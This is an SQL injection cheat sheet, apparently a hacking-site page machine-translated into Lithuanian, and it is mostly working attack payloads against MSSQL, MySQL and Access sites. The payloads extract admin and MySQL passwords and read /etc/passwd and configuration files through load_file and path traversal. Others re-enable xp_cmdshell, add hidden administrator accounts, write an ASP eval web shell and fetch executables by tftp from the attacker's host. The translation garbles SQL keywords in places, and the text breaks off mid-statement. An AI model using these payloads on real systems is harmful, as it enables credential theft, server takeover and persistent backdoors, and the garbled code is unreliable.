MSSQL kryžminių duomenų bazių užklausos (dvokiantis maistas!) Tamsus)
Išspauskite kiekvieną paskutinį lašą MS SQL
Išsamiai paaiškintos SQL sakinio nuorodos ir įrašų rinkinio objektai
Apie saugomas procedūras SQL serveryje
Sukurkite žiniatinklio apvalkalą naudodami mssql atsarginę kopiją
SQL_Injection išplėstinės programos
Kelių svetainių SQL injekcija (laokai)
Keista SQL injekcija (AMANL)
Išplėstinė SQL injekcija į SQL serverio programas
Kaip naudoti SQL injekciją katalogams pereiti
Walkthrough SQL injekcijos metodai (Vertėjas: demonalex)
Kai kurios atakos prieš SQL duomenų bazes
SQL injekcijos atakos technika (JSW)
SQL_Injection Išplėstinės programos (APACHY)
Neįprasti SQL injekcijos metodai (Guilin Veteranas)
Atsarginės apvalkalo kopijos kūrimas
Kalbėti apie php + mysql injekcijos pareiškimo struktūra (Heyhehehehe · ≯ Super · Hei)
Išplėstinė SQL injekcija su MySQL (angelas)
L'injection (My)SQL per PHP
Oracle SQL kalba
SQL rankinio įpurškimo enciklopedija
Būtinoms sąlygoms reikalingi įrankiai: SQL užklausų analizatorius ir SqlExec Sunx versija ============================================================================================== 1. Nustatykite, ar yra įpurškimo taškas ; ir 1=1 ir 1=2 2. Atspėkite, kad lentelės pavadinimas yra ne kas kita, kaip administratorius, administratorius, vartotojas, vartotojo leidimas, slaptažodis ir kt.: ir 0<>(pasirinkite count(*) iš *) ir 0<>(select count(*) from admin) — nustatyti, ar administratoriaus lentelė egzistuoja 3. Atspėkite sąskaitų skaičių Jei susiduriate su 0< grįžkite į teisingą puslapį 1< grąžinkite klaidos puslapį, kad nurodytumėte, kad sąskaitų skaičius yra 1 ir 0<(pasirinkite count(*) iš administratoriaus) ir 1< (pasirinkite skaičių (*) iš administratoriaus) 4. Atspėkite lauko pavadinimą Pridėkite lauko pavadinimą, apie kurį galvojame, len( ) skliausteliuose. ir 1=(pasirinkite count(*) iš administratoriaus, kur len(*)>0)– ir 1=(pasirinkite count(*) iš administratoriaus, kur len(vartotojo lauko pavadinimas)>0) ir 1=(pasirinkite count(*) iš administratoriaus, kur len(_blank>slaptažodžio lauko pavadinimas)>0) 5. Atspėti kiekvieno lauko ilgį Atspėti ilgis yra transformuoti >0, kol teisingas puslapis bus grąžintas ir 1=(pasirinkite count(*) iš administratoriaus, kur len(*)>0) ir 1=(pasirinkite count(*) iš administratoriaus, kur len(name)>6) klaida ir 1=(pasirinkite count(*) iš administratoriaus, kur len(name)>5) Teisingas ilgis yra 6 ir 1=(pasirinkite count(*) iš admin, kur len(name)=6) yra teisingas ir 1=(pasirinkite count(*) iš administratoriaus, kur len(password)>11) yra teisingas ir 1=(pasirinkite count(*) iš administratoriaus, kur len(password)>12) klaidos ilgis yra 12 ir 1=(pasirinkite count(*) iš administratoriaus, kur len(password)=12) yra teisingas 6. Atspėkite personažus ir 1=(pasirinkite count(*) iš administratoriaus, kur left(name,1)=a) — Atspėkite pirmąjį vartotojo paskyros skaitmenį ir 1=(pasirinkite count(*) iš administratoriaus, kur left(name,2)=ab) – atspėkite antrąjį vartotojo paskyros skaitmenį Tiesiog pridėkite po vieną simbolį, kad atspėtumėte, atspėkite tiek skaitmenų, kiek ką tik atspėjote, ir sąskaitos numeris pasirodys (1) Atspėkite lentelės pavadinimą
Vartojami sakiniai: ir egzistuoja (pasirinkite * iš lentelės pavadinimo)
Pavyzdžiui: ir egzistuoja (pasirinkite * iš administratoriaus)
Jei puslapis atkartoja teisingai, tai reiškia, kad lentelės pavadinimas, kurį čia atspėjome, yra teisingas, o jei puslapis neteisingas, tai reiškia, kad lentelės pavadinimas, kurį čia parašėme, yra neteisingas
, tada pakeiskite lentelės pavadinimą ir toliau spėkite, kol atspėsite.
Paprastai dažniausiai naudojami lentelių pavadinimai yra administratorius, valdymas, vartotojas arba įrankio paleidimas (2) Atspėkite lauką
Vartojami sakiniai: ir yra (pasirinkite lauko pavadinimą iš lentelės pavadinimo)
Pavyzdžiui: ir egzistuoja (pasirinkite vartotojo vardą iš administratoriaus)
Čia, darant prielaidą, kad administratoriaus lentelė yra lentelė, kurią teisingai atspėjau aukščiau, tada noriu nustatyti, ar vartotojo vardo laukas egzistuoja, turiu naudoti šį teiginį, jei puslapis
Jei veido aidas yra teisingas, tai reiškia, kad lauko pavadinimas, kurį čia atspėjome, yra teisingas, o jei puslapis neteisingas, tai reiškia, kad lauko pavadinimas, kurį čia parašėme, yra neteisingas
, tada pakeiskite lauko pavadinimą ir toliau spėliokite, kol atspėsite.
Paprastai įprasti laukų pavadinimai yra vartotojo vardas, slaptažodis, vartotojas, leidimas, vardas, leidimas, neįgalusis, usr, psd ir kiti laukai (3)užsakyti pagal
Užsakyti pagal – tai gauti tame puslapyje esančių laukų skaičiaus sumą, ruošiantis kitai bendrai užklausai (4) Sąjungos pasirinkimas
1. Jei palaikote bendrą užklausą, raskite rodymo bitų http://www.xxx.com/product_show.asp?id=1 ir pasirinkite 1=2 sąjungą
1,2,3,4,5,6,7,8,9,10,11 Tarkime, kad ekrano bitai yra 5,6. Tada mums tereikia pakeisti laukų pavadinimus, atitinkančius administratoriaus vartotojo vardą ir slaptažodį, ekrano bitų padėtimi čia
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 iš admin rado fono prisijungimą 2. Jei bendra užklausa nepalaikoma Administratoriaus vartotojo vardas ir slaptažodis negali būti gauti be bendros užklausos - naudojant Ascii pažodinį dekodavimą Du Naudokite order by, kad įvertintumėte bitų skaičių lentelėje, o jei tai neveikia, naudokite union select, kad juos sutvarkytumėte po vieną, čia mes darome prielaidą, kad 8 bitai Trys Bendros užklausos naudojimas rodymo bitams nustatyti Keturi Naudokite rodomą bitą, kad rastumėte duomenų bazės pavadinimą, duomenų bazės versiją, 5.0 ar naujesnę versiją galima įterpti
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, versija()),8 Penki Naudodami duomenų bazės pavadinimą galite pradėti gauti lentelės pavadinimo schemą =, po kurios seka duomenų bazės pavadinimo HEX reikšmė, ir atspėti lentelės pavadinimą
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +nuo+information_schema.stulpeliai+kur+ table_schema=0x666C6965725F6462617365 Šeši Analizuojamas lentelės pavadinimas nustato administratoriaus lentelės name=table name HEX reikšmę ir atspėja lentelės laukus http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (IŠSKIRTINIS
+column_name),8+ nuo+information_schema.stulpeliai+kur+table_name=0x7075625F7765626D6173746572 Septyni Gavę laukus administratoriaus lentelėje, gaukime laukų turinį http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (IŠSKIRTINIS
+vartotojo vardas, 0x5f,userpwd),8+nuo+pub_webmaster Aštuoni Įrankis nuskaito foną: Suradę prisijunkite, kad įkeltumėte Trojos arklį, o jei nerandate robots.txt failo, kurį galite pasiekti Devyni Jei nerandate fono, bus atskleistas MYSQL administratoriaus slaptažodis http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(vartotojas,slaptažodis),8+nuo+mysql.user Dešimt Atsitiktinai pasiekite kelią, o grįžtamasis ryšys yra 404 numatytasis IIS6 puslapis, nurodantis, kad svetainės serveris yra: Windows+IIS6+php+MySql aplinka c:\\windows\\system32\\inetsrv\\MetaBase.xml Šis kelias gali gauti svetainės konfigūracijos informaciją. Kurti teiginius http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Vienuolika Išanalizuokite kodą ir raskite fono adresą Pirmame žingsnyje turime gauti lentelės laukų ilgį Naudojami teiginiai: ir (pasirinkite viršų 1 len (lauko pavadinimas) iš lentelės pavadinimo)>0 Pavyzdžiui, kas: ir (pasirinkite viršų 1 len (admin_name) iš admin) >0 Puslapis rodomas įprastai, lauko ilgis admin_name yra didesnis nei 0, ir aš pateiksiu:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Puslapyje rodoma klaida, nurodanti, kad laukas yra nuo 0 iki 10, o ilgis yra 5, naudojant dichotomiją Naudodamas tą patį metodą administratoriaus slaptažodžio lauko ilgiui nustatyti, gaunu 16 ilgį 2 žingsnis Dabar pereikime prie antrojo žingsnio, paimkite tam tikrą simbolį lauke ir gaukite naudojamo simbolio ASCII kodą
Pareiškimas: ir (pasirinkite viršų 1 asc(mid(lauko pavadinimas, N,1)) iš lentelės pavadinimo)>0 Leiskite man pažvelgti į šį sakinį atskirai, pirma, vidinė mid(username, 1,1) funkcija, kuri yra pirmasis admin_name lauko simbolis N
nurodo, kad turi būti perimti keli pirmieji simboliai, Tada išorinė funkcija asc(), kuri konvertuoja simbolius, kuriuos perima mid funkcija, į ASCII kodą, tolimiausias top 1, reiškia pirmosios vietos grąžinimo lauką
Įrašas, tada, ">0" pabaigoje yra palyginti konvertuotą ASCII kodą su šiuo skaičiumi ir galiausiai gauti perėmimą nuolat keičiant paskutinę reikšmę
Gaukite šio personažo specifiką ASCII kodas Pateikimas:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Puslapis rodomas įprastai, nurodant, kad šio simbolio ASCII kodas yra didesnis nei 30. Pateikimas:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Puslapis rodomas įprastai, nurodant, kad šio simbolio ASCII kodas yra didesnis nei 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII kodas aš baigėsi su šiuo simboliu yra 97 Palyginkite ASCII lentelę: Galima daryti išvadą, kad pirmasis simbolis yra "a". Tada aš vertinsiu antrojo simbolio ASCII kodą.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Puslapis rodomas įprastai, nurodant, kad simbolio ASCII kodas yra didesnis nei 90, o paskutinė reikšmė visada keičiama Tas pats metodas davė administratoriaus slaptažodį, ir rezultatas aš gavau buvo:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 ir 1=(pasirinkite viršų 1 skaičius(*) iš administratoriaus, kur Asc(mid(pass,5,1))=51) – Šis užklausos teiginys gali atspėti Kinijos vartotoją ir _blank> slaptažodį. Tiesiog pakeiskite šiuos skaičius Kinijos ASSIC kodu
Konvertuoti į simbolius.
grupuoti pagal users.id, turinčius 1=1–www.myhack58.com grupuoti pagal users.id, users.username, users.password, users.privs, turintys 1=1– ; Įterpti į vartotojus reikšmes( 666, užpuolikas, foobar, 0xffff )–
SĄJUNGA Pasirinkite TOP 1 COLUMN_blank>_NAME IŠ INFORMATION_blank>_SCHEMA. STULPELIAI Kur
TABLE_blank>_NAME=logintable- SĄJUNGA Pasirinkite TOP 1 COLUMN_blank>_NAME IŠ INFORMATION_blank>_SCHEMA. STULPELIAI Kur
TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NĖRA (login_blank>_id)- SĄJUNGA Pasirinkite TOP 1 COLUMN_blank>_NAME IŠ INFORMATION_blank>_SCHEMA. STULPELIAI Kur
TABLE_blank>_NAME=logintable Kur COLUMN_blank>_NAME NĖRA
(login_blank>_id,login_blank>_name)- SĄJUNGA Pasirinkite 1 TOP 1 login_blank>_name FROM logintable- SĄJUNGA Pasirinkite 1 populiariausią slaptažodį IŠ prisijungimo lentelės, kur login_blank>_name=Rahul– Pažvelkite į pleistrą, kurį žaidžia _blank> serveris = neteisingas SP4 pleistras juodos juostos apsauginis tinklas ir 1=(pasirinkite @@VERSION)–
Pažvelkite į _blank> duomenų bazės ryšio abonemento teises ir jis grįžta normalus, įrodydamas, kad tai yra _blank> serverio vaidmens sistemos administratoriaus leidimas. ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(sysadmin))–
Nustatykite, ar duomenų bazės abonementas _blank> prijungtas. (Naudoti SA sąskaitą prisijungti ir grąžinti normalią = įrodyti, kad prijungta sąskaita yra SA) ir sa=(Pasirinkite System_blank>_user)– ir user_blank>_name()=dbo– ir 0<>(pasirinkite user_blank>_name()–
Pažiūrėkite, ar xp_blank>_cmdshell ištrina ir 1=(Pasirinkite skaičių(*) FROM master.dbo.sysobjects Kur xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell panaikinamas, atkuriamas ir palaiko absoliutaus kelio atkūrimą ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== duomenų bazės leidimas rodomas fiziniame svetainės kelio kode
========================================================================== 1 、 lašas lentelė [jm_tmp]; Sukurti lentelę [jm_tmp](reikšmė navrchar(4000) null,data nvarchar(4000)
null) -- Kurti lentelę
2、 ištrinti [jm_tmp]; Įterpti [jm_tmp] exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Įterpkite svetainės katalogą į lentelės lauką
3、ir (pasirinkite Top 1 Cast ([Duomenys] kaip Nvarchar (4000) Char (124) iš [jm_tmp] Tvarka pagal [Data]
desc)=0 '//Atviras laukas
4. Drop Table [jm_tmp] -- Ištrinkite šią lentelę. komandai gauti apvalkalą
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Kiti stočių keliai ======================load_file() Dažniausiai naudojama slapta informacija =========================================== 1、 pakeisti(load_file(0×2F6574632F706173737764),0×3C,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Pirmiau minėti du yra peržiūrėti PHP failą, kuriame visiškai rodomas kodas. Kartais kai kurie simboliai nepakeičiami, pvz., "<", o ne "tarpas", kuris grįžta
Tinklalapis. Ir kodo peržiūrėti negalima.
3. load_file(char(47)) gali išvardyti FreeBSD ir Sunos sistemų šakninį katalogą
4. Peržiūrėkite linux APACHE virtualaus pagrindinio kompiuterio konfigūracijos failą /etc/httpd/conf/httpd.conf arba /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf arba C:\apache\conf\httpd.conf, kad peržiūrėtumėte WINDOWS
Sistemos Apache failas
6. c:/Resin-3.0.14/conf/resin.conf Peržiūrėkite jsp sukurtos svetainės dervos failo konfigūracijos informaciją.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf view JSP virtualus pagrindinis kompiuteris, sukonfigūruotas Linux sistemoje
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin sprogimo kelias
11. C:\Windows\system32\inetsrv\MetaBase.xml Peržiūrėkite IIS virtualaus pagrindinio kompiuterio konfigūracijos failą
12. /usr/local/resin-3.0.22/conf/resin.conf view RESIN konfigūracijos failas 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Tas pats, kaip aukščiau
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtualus pagrindinis kompiuteris
15. /etc/sysconfig/iptables priklauso nuo ugniasienės politikos
16. /usr/local/app/php5 b/php.ini PHP lygiaverčiai nustatymai
17. /etc/my.cnf MYSQL konfigūracijos failas
18. /etc/redhat-release sistemos versija Red Hat
19 、C:\mysql\data\mysql\user. MYD yra vartotojo slaptažodyje MYSQL sistemoje
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0, kad peržiūrėtumėte IP.
21. /usr/local/app/php5 b/php.ini //PHP susiję nustatymai
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtualios svetainės nustatymai
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue rodo Linux branduolio platinimo informaciją
26 、 / etc / ftpuser
27. Patikrinkite operacijų žurnalo failą LINUX user.bash_history arba .bash_profile
28 、 / etc / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/rąstai/error.log .. /apache/rąstai/access.log .. /.. /apache/rąstai/error.log .. /.. /apache/rąstai/access.log .. /.. /.. /apache/rąstai/error.log .. /.. /.. /apache/rąstai/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/rąstai/error.log .. /apache/rąstai/access.log .. /.. /apache/rąstai/error.log .. /.. /apache/rąstai/access.log .. /.. /.. /apache/rąstai/error.log .. /.. /.. /apache/rąstai/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Atvirkštinis PING eksperimentas patys ; naudoti meistrą; deklaruoti @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; exec
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Pridėti paskyrą ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Sukurkite virtualų katalogą E-diskas: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "numatytoji svetainė" -v "e","e:\"–
Prieigos atributai: (su rašymu į žiniatinklio apvalkalą) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Specialus _blank> triukas, skirtas bibliotekos sprogimui: :%5c=\ arba modifikuokite %5 su / ir \, kad įsipareigotumėte ir 0<>(pasirinkite 1 geriausius kelius iš newtable)–
Gaukite duomenų bazės pavadinimą (nuo 1 iki 5 yra sistemos ID, ir jūs galite juos spręsti virš 6) ir 1=(pasirinkite pavadinimą iš master.dbo.sysdatabases, kur dbid=7)– ir 0<>(pasirinkite count(*) iš master.dbo.sysdatabases, kur name>1 ir dbid=6) Pateikti dbid savo ruožtu = 7,8,9.... Gaukite daugiau _blank> duomenų bazių pavadinimų
ir 0<>(pasirinkite viršų 1 pavadinimas iš bbs.dbo.sysobjects, kur xtype=U) įsiveržia į lentelę, darant prielaidą, kad admin ir 0<>(pasirinkite viršų 1 pavadinimas iš bbs.dbo.sysobjects, kur xtype=u ir vardas ne (administratorius)).
Kitos lentelės. ir 0<>(pasirinkite count(*) iš bbs.dbo.sysobjects, kur xtype=u ir name=admin ir uid>(str(id))) Laikoma, kad skaitinė UID reikšmė yra 18779569 uid=id ir 0<>(pasirinkite viršų 1 pavadinimas iš bbs.dbo.syscolumns, kur id=18779569) gauti lauką admin, false
Nustatykite į user_blank>_id ir 0<>(pasirinkite viršų 1 pavadinimas iš bbs.dbo.syscolumns, kur id = 18779569 ir pavadinimas ne (id,...)) Norėdami atskleisti kitus laukus ir 0<(pasirinkite user_blank>_id iš BBS.dbo.admin, kur vartotojo vardas>1), kad gautumėte vartotojo vardą Savo ruožtu galite gauti _blank> slaptažodį。。。。。 Tarkime, kad yra tokių laukų kaip user_blank>_id vartotojo vardas, slaptažodis ir kt
ir 0<>(pasirinkite count(*) iš master.dbo.sysdatabases, kur name>1 ir dbid=6) ir 0<>(pasirinkite Top 1 pavadinimą iš bbs.dbo.sysobjects, kur xtype=U), kad gautumėte lentelės pavadinimą ir 0<>(pasirinkite viršų 1 pavadinimas iš bbs.dbo.sysobjects, kur xtype=u ir vardas ne (adresas)) ir 0<>(pasirinkite count(*) iš bbs.dbo.sysobjects, kur xtype=u ir name=admin ir uid>(str(id)))
Nustatykite id reikšmę ir 0<>(pasirinkite viršų 1 pavadinimas iš BBS.dbo.syscolumns, kur id=773577794) visi laukai
?id=-1 sąjunga pasirinkite 1,2,3,4,5,6,7,8,9,10,11,12,13,* iš admin ?id=-1 sąjunga pasirinkite 1,2,3,4,5,6,7,8,*,9,10,11,12,13 iš admin (sąjunga,prieiga taip pat paprasta naudoti)
Gaukite WEB kelią ; Kurti lentelę [DBO]. [apsikeitimas] ([swappass][char](255)); – ir (pasirinkite 1 geriausią swappass iš swap)=1– ; Sukurti TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
meistras.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEMA
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT įterpti į paths(path) values(@test)– ; naudoti KU1; – ; sukurti lentelę cmd (str vaizdas); – Sukurkite vaizdo tipo lentelės cmd 1. Būdas pašalinti xp_cmdshell išplėtimo procesą yra naudoti šį teiginį:
if exists (pasirinkite * iš dbo.sysobjects, kur id=object_id(N'[dbo].[ xpcmdshell]') ir
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]"
2. Būdas pridėti xp_cmdshell plėtinio procesą yra naudoti šį teiginį:
(1) SQL užklausų analizatorius
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Pirmiausia užpildykite %s "SqlExec Sunx Version" parinktyje Formatas ir įveskite jį į CMD parinktį
sp_addextendedproc "xp_cmdshell", "xpsql70.dll"
pašalinti
sp_dropextendedproc "xp_cmdshell"
(3)MSSQL2000
sp_addextendedproc "xp_cmdshell", "xplog70.dll" Yra xp_blank>_cmdshell testavimo procesai: ; exec meistras .. xp_blank>_cmdshell režisierius ; exec master.dbo.sp_blank>_addlogin jiaoniang$; – Pridėkite SQL paskyras ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell grynasis vartotojas jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – exec meistras .. xp_blank>_servicecontrol pradėti, suplanuokite _blank> paslaugos pradžią exec meistras .. xp_blank>_servicecontrol paleisti, serveris ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec meistras .. xp_blank>_cmdshell tftp -i youip get file.exe – Įkelkite failus naudodami TFTP
; deklaruoti @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; deklaruoti @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; deklaruoti @a; nustatyti @a=db_blank>_name(); atsarginės duomenų bazės @a į diską=jūsų IP Jūsų bendrai naudojamas katalogas bak.dat Jei ribojama, taip. Pasirinkite * iš openrowset(_blank>sqloledb,server; sa; ,pasirinkite Gerai! exec
master.dbo.sp_blank>_addlogin hax)
Užklausos struktūra: Pasirinkite * IŠ naujienų Kur id=... IR tema=... IR ..... adminand 1=(pasirinkite count(*) iš [user], kur username=victim ir right(left(userpass,01),1)=1)
ir "UserPass" <> pasirinkite 123; – ; naudoti meistrą; – :a arba pavadinimas, pvz., fff%; – Rodo vartotoją, vardu ffff. ir 1<>(pasirinkite count(email) iš [vartotojo]); – ; atnaujinti [users] set email=(pasirinkite top 1 pavadinimą iš sysobjects, kur xtype=u ir status>0) kur
vardas=ffff; – ; atnaujinti [users] set email=(pasirinkite top 1 ID iš sysobjects, kur xtype=u ir name=ad) kur
vardas=ffff; – ; atnaujinti [users] set email=(pasirinkite top 1 pavadinimą iš sysobjects, kur xtype=u ir id>581577110)
kur name=ffff; – ; atnaujinti [users] set email=(select top 1 count(id) from password) where name=ffff; – ; atnaujinti [users] set email=(select top 1 pwd from password where id=2) where name=ffff; – ; atnaujinti [vartotojai] nustatyti email=(pasirinkite viršų 1 vardas iš slaptažodžio, kur id = 2) kur vardas = ffff; – Aukščiau pateiktas teiginys yra gauti pirmąją vartotojo lentelę _blank> duomenų bazėje ir įdėti lentelės pavadinimą į ffff vartotojo el. pašto lauką. Peržiūrėję ffff vartotojo profilį, galite gauti pirmąją lentelę, pavadintą AD Tada gaukite šios lentelės ID pagal lentelės pavadinimo skelbimą, kad gautumėte antrosios lentelės pavadinimą
Įterpti į vartotojus reikšmes( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Įterpti į vartotojus reikšmes( 667,123,123,0xffff)– Įterpti į vartotojus reikšmes ( 123, admin–, slaptažodis, 0xffff)– ; ir vartotojas>0 ; ir (pasirinkite count(*) iš sysobjects)>0 ; ir (pasirinkite count(*) iš mysysobjects)>0 // access_blank> duomenų bazei
Išvardinti duomenų lentelės pavadinimą ; atnaujinti aaa set aaa=(pasirinkite top 1 pavadinimą iš sysobjects, kur xtype=u ir status>0); – Čia pirmasis lentelės pavadinimas atnaujinamas į AAA lauką. Perskaitykite pirmąją lentelę, o antrąją lentelę galima skaityti taip (pridėti ir pavadinti po sąlyga<> ką tik gautos lentelės pavadinimą). ; atnaujinti aaa set aaa=(pasirinkite top 1 pavadinimą iš sysobjects, kur xtype=u ir status>0 ir
vardas<>balsavimas); – Tada id=1552 ir egzistuoja(pasirinkite * iš aaa, kur aaa>5) Perskaitykite antrą lentelę ir perskaitykite ją po vieną, kol jos nėra. Skaitymo laukas atrodo taip: ; atnaujinti aaa rinkinį aaa=(pasirinkite 1 viršų col_blank>_name(object_blank>_id(lentelės pavadinimas),1)); – Tada id=152 ir egzistuoja(pasirinkite * iš aaa, kur aaa>5) gauna klaidą ir gauna lauko pavadinimą ; atnaujinti aaa rinkinį aaa=(pasirinkite top 1 col_blank>_name(object_blank>_id(lentelės pavadinimas),2)); – Tada id=152 ir egzistuoja(pasirinkite * iš aaa, kur aaa>5) gauna klaidą ir gauna lauko pavadinimą
[Gauti duomenų lentelės pavadinimą] [Atnaujinkite lauko reikšmę į lentelės pavadinimą, tada perskaitykite šio lauko reikšmę, kad gautumėte lentelės pavadinimą] Atnaujinti lentelės pavadinimo rinkinio lauką=(Pasirinkite 1 populiariausią pavadinimą iš sysObjects, kur Xtype=U ir Status>0 [ ir pavadinimas<>
